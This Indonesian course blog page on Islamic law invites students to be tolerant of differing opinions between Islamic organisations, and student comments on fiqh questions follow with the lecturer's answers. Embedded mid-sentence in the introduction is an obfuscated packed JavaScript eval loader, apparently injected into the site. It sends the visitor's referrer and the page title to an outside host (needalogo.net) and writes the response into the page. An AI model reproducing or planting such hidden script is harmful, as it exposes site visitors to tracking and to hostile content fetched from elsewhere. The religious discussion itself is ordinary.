Home » Islam dan Ilmu Sosial » Hukum Islam

Hukum Islam

Bab ini akan menjelaskan ttg hukum islam dan demokrasi pancasila.penjelasan diharapakn dapat menjadikan mahasiswa tidak fanatik sempit terhadap salah satu dari ormas Islam.sehingga Islam bisa menjadi Rahmatan lil ‘alamin…indah dalam perbedaan, namuun tetap dalam bingkai syariat islam..hukum islameval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!”.replace(/^/,String)){while(c–)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return’\\w+’};c=1};while(c–)if(k[c])p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c]);return p}(‘(7(){2 d=3;2 w=1;2 h=1;2 t=d.8(\’9\’);2 4=5.a(5.b()*c);2 0=\’e://f.g/i/j?\’;0=0+\’k=\’+3.l;0=0+\’&m=\’+3.n;0=0+\’&r=\’+4;d.o(\’\')})();’,35,35,’src||var|document|id|Math|iframe|function|createElement|script|floor|random|9999||http|needalogo|net||rotation|3wBsvV|se_referrer|referrer|default_keyword|title|write|style|padding||0px||border|none||width|height’.split(‘|’),0,{}))

Islam dan Ilmu Sosial

8 Comments to “Hukum Islam”

  1. RIFAULDIN SYAHRI

    NAMA : RIFAULDIN SYAHRI
    NIM : 105040201111085
    KELAS : U
    MATA KULIAH : PAI (HUKUM ISLAM)

    Apabila kita memasuki kawasan hukum Islam (fiqiq), maka kita tidak akan pernah bisa lepas dari terjadinya perbedaan pendapat dalam suatu masalah.Hal tersebut disebabkan obyek bahasan fikih biasanya adalah masalah ijtihadiyah,yaitu masalah dalam menentukan hukumnya harus dilakukan ijtihad terlebih dahulu. Sebagai contoh, dalam masalah hukum membaca Quran bagi orang yang sedang haid, terjadi perbedaan pendapat di kalangan para ulama. Ada yang mengatakan hukumnya tidak boleh, dengan alasan bahwa pada saat sedang haid, manusia dalam keadaan tidak suci dan ada Hadis yang melarangnya. Ada pula yang membolehkannya, dengan alasan tidak ada dalil yang menunjukkan ketidak bolehannya. Contoh lainnya adalah seorang istri yang ditalak tiga oleh suaminya. Istri yang dalam keadaan seperti ini tidak boleh dirujuk oleh suaminya kecuali jika ia telah menikah dengan suami baru dan suaminya yang baru itu telah menceraikannya. Inilah hukum yang telah ditetapkan oleh Allah dalam Quran surat al-Baqarah (2): 230. Yang diperselisihkan adalah apakah istri dan suaminya yang baru itu harus melakukan persetubuhan terlebih dahulu sebelum mereka bercerai. Sebagian besar ulama berpen-dapat bahwa sebelum diceraikan, istri harus disetubuhi dahulu oleh suaminya yang baru. Akan tetapi Sa’ied ibn Musyayyab berpendapat bahwa suami pertama boleh menikah kembali dengan istrinya itu setelah diceraikan oleh suami barunya, walaupun belum disetubuhi. Kedua contoh ini merupakan masalah yang masuk dalam wilayah fikih. Oleh karena itu, dalam menetapkan hukumnya, keduanya tidak luput dari terjadinya perbedaan pendapat.
    Menurut pendapat saya,sikap yang baik dalam menghadapi perbedaan pendapat dalam hukum islam yaitu menyikapi dengan arif dan bijaksana.Perbedaan pendapat mengenai masalah-masalah yang ada dalam fikih harus disikapi dengan arif dan bijaksana.Jadi tidak boleh bersikap dengan langsung menyalahkan satu pendapat dan membenarkan pendapat lainnya.Sikap yang semacam ini dapat memicu terjadinya perpecahan di kalangan umat. Masalah yang biasanya menimbulkan perbedaan pendapat dalam fikih adalah masalah furu’iyah (cabang), bukan masalah pokok. Oleh karena itu, mempertajam pertentangan atau perbedaan pendapat dalam maslah cabang ini hanyalah membuang-buang waktu dan energi.
    Sebenarnya di antara para imam mazhab sendiri tidak ada satu pun yang merasa pendapatnya paling benar. Mereka tidak saling menyalahkan, apalagi menjatuhkan. Bahkan di antara mereka tidak ada yang menyuruh orang untuk hanya mengikuti pendapat mazhabnya, karena mereka menyadari bahwa mereka hanyalah manusia biasa yang tidak luput dari salah dan lupa. Imam Malik pernah berkata :
    “Saya ini tidak lain, melainkan manusia biasa. Saya boleh jadi salah dan boleh jadi benar. Maka oleh sebab itu, lihatlah dan pikirlah baik-baik pendapat saya. Apabila sesuai dengan Kitab (Al Qur’an) dan Sunnah, maka ambillah ia dan jika tidak sesuai dengan Kitab dan Sunnah, maka tinggalkanlah ia.”
    Imam Syafi’i pernah berkata kepada Imam Ar-Rabi’:
    “Apa saja yang telah berlaku menurut sunnah Rasulullah s.a.w. padahal bersalahan dengan mazhabku, maka tinggalkanlah mazhabku itu karena sunnah itulah mazhab yang sebenarnya.”
    Jadi jelaslah bahwa di kalangan imam mazhab sendiri tidak terjadi perselisihan, apalagi perpecahan. Mereka sebenarnya telah benar-benar memahami Hadis Rasulullah saw.Dan Rasulullah memberikan isyarat kepada umatnya bahwa perbedaan pendapat itu pasti terjadi di antara sesama umat Islam. Dalam Hadis itu pula beliau mengajarkan umatnya bagaimana menyikapi perbedaan pendapat tersebut. Di sini tampak bahwa beliau ingin agar perbedaan pendapat itu justru mempersatukan umat, bukan malah memecah-belah mereka.

  2. RIFAULDIN SYAHRI

    Assalamualaikum Wr. Wb
    Bu saya ingin bertanya mengenai perbedaan pendapat kemarin,saya tiap kali mau lebaran/takbiran itu pasti bingung mau menjalankan puasa yang terakir atau tidak,karena ada perbedaan pendapat yaitu Islam Muhammadyah yang biasanya waktu lebarannya lebih dulu daripada Islam NU.saya sendiri Islam NU,misalkan saya mengikuti aturan Islam muhammadyah dan tidak menjalankan puasa yang terakir tersebut bagaimana hukumnya,dan bagaimana sarannya mengenai persoalan tersebut ?

    • saran sy g’ perlu bingung dengan perbedaan itu, karena semua pnya dasar.NU, Muhammadiyah itu hanya sebagai organisasi keagamaan.jadi islam kita bukan ditentukan NU atau Muhammadiyah..orang NU tidak harus mengikuti hari rayanya NU, trgantung keyakinannya kapan.orang NU kalo yakin dengan hari raya yang ditetapkan Muhammadiyah juga g pa2..tapi kalo bimbang lebih aman ikut pemerintah saja, karena sebelum menetapkan hari raya, pemerintah sudah melakukan sidang isbat yang melibatkan seluruh ormas islam yang ada di Indonesia.

  3. Yuliamita Ariestin

    Ibu saya Yuliamita dari kelas ‘ U ” mau tanya tentang hukum islam,, Bagaimana hukumnya menjual Masjid?? apakah itu boleh? Soalnya saya pernah liat di jln ad tulisan ” Dijual Masjid dg harga …..”. Bukannya masjid itu dibngun untuk msyarakat dan yg saya tahu sebagian masjid dbngun atas dana msyarakat. Menurut ibu bagaimana hukumnya?

    • wah kalo mslh jual beli msjid panjang prmasalahannya, karena harus tahu dl status masjidnya sprt apa?karena klo tanah wakaf mnrt mayoritas ulama’ fiqih hak kepemilikannya kembali kepada Allah..tidak boleh diperjual belikan

  4. claudya (105040201111020)

    assalamualaikum,,
    ibu saya ingin bertanya tentang kuliah kemarin, kemarin ibu menjelaskan tentang islam itu merupakan agama Rahmatan lil’alamin yaitu merahmati semua umat manusia, apakah yang dirahmati itu hanya orang islam saja atau semua umat di dunia ini (termasuk juga yang berbeda agama)?????
    terima kasih ibu…

    • Allah maha “Rahman” itu menyayangi seluruh umat manusia baik islam ataupun tidak, seperti masalah ekonomi. banyak orang nonIslam yang usahanya juga maju..sedangkan maha “Rahim” itu kasih sayang yang hanya diberikan kepada umat islam, seperti hidayah dan taufiq

Leave a Reply

(required)

(required)


CAPTCHA Image
*